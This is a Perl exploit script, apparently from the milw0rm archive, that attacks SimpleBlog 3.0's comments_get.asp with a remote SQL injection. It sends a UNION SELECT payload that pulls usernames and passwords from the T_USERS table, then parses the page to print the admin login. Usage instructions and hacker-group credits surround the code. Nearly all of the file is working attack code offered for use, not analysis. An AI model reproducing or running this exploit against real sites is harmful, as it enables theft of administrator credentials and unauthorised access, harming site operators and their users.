65 lines
No EOL
2.3 KiB
Text
65 lines
No EOL
2.3 KiB
Text
#!/usr/bin/perl
|
|
|
|
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
|
|
# SimpleBlog 3.0 [ comments_get.asp ] #
|
|
# ] Remote SQL Injection [ #
|
|
# #
|
|
# [c]ode by TrinTiTTY [at] g00ns.net #
|
|
# Vulnerability by MurderSkillz #
|
|
# #
|
|
# shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox, #
|
|
# Canuck, a59, sess, bernard, + the rest of g00ns #
|
|
# [irc.g00ns.net] [www.g00ns.net] [ts.g00ns.net] #
|
|
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
|
|
|
|
use LWP::UserAgent;
|
|
|
|
$host = @ARGV[0];
|
|
$ua = LWP::UserAgent->new;
|
|
|
|
my $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';
|
|
|
|
if (@ARGV < 1){&top( );&usage( )}
|
|
elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}
|
|
else { &xpl( ) }
|
|
sub xpl( ) {
|
|
&top( );
|
|
print "\n [~] Connecting\n";
|
|
$res = $ua->get("http://$host/$inject");
|
|
|
|
$con = $res->content;
|
|
print "\n [~] Checking for admin info\n";
|
|
if ($con =~ /<strong>([-_+.\w]{1,15})<\/strong>/gmi)
|
|
{
|
|
print "\n\t [+] Admin user: $1\n";
|
|
}
|
|
if ($con =~ /<a href\=\"http:\/\/(.*)\" target\=\"\_blank\">(.*)<\/a>/gmi)
|
|
{
|
|
print "\n\t [+] Admin password: $2\n";
|
|
print "\n [+] Complete\n";
|
|
}
|
|
else {
|
|
print "\n [-] Unable to retrieve admin info\n";
|
|
exit(0);
|
|
}
|
|
}
|
|
sub top( )
|
|
{
|
|
print q {
|
|
##################################################################
|
|
# SimpleBlog 3.0 [ comments_get.asp ] #
|
|
# ] Remote SQL Injection [ #
|
|
# #
|
|
# [c]ode by TrinTiTTY [at] g00ns.net #
|
|
# Vulnerability by MurderSkillz #
|
|
##################################################################
|
|
}
|
|
}
|
|
sub usage( )
|
|
{
|
|
print "\n Usage: perl simpleblog3.pl <host>\n";
|
|
print "\n Example: perl simpleblog3.pl www.example.com/path\n\n";
|
|
exit(0);
|
|
}
|
|
|
|
# milw0rm.com [2007-07-28] |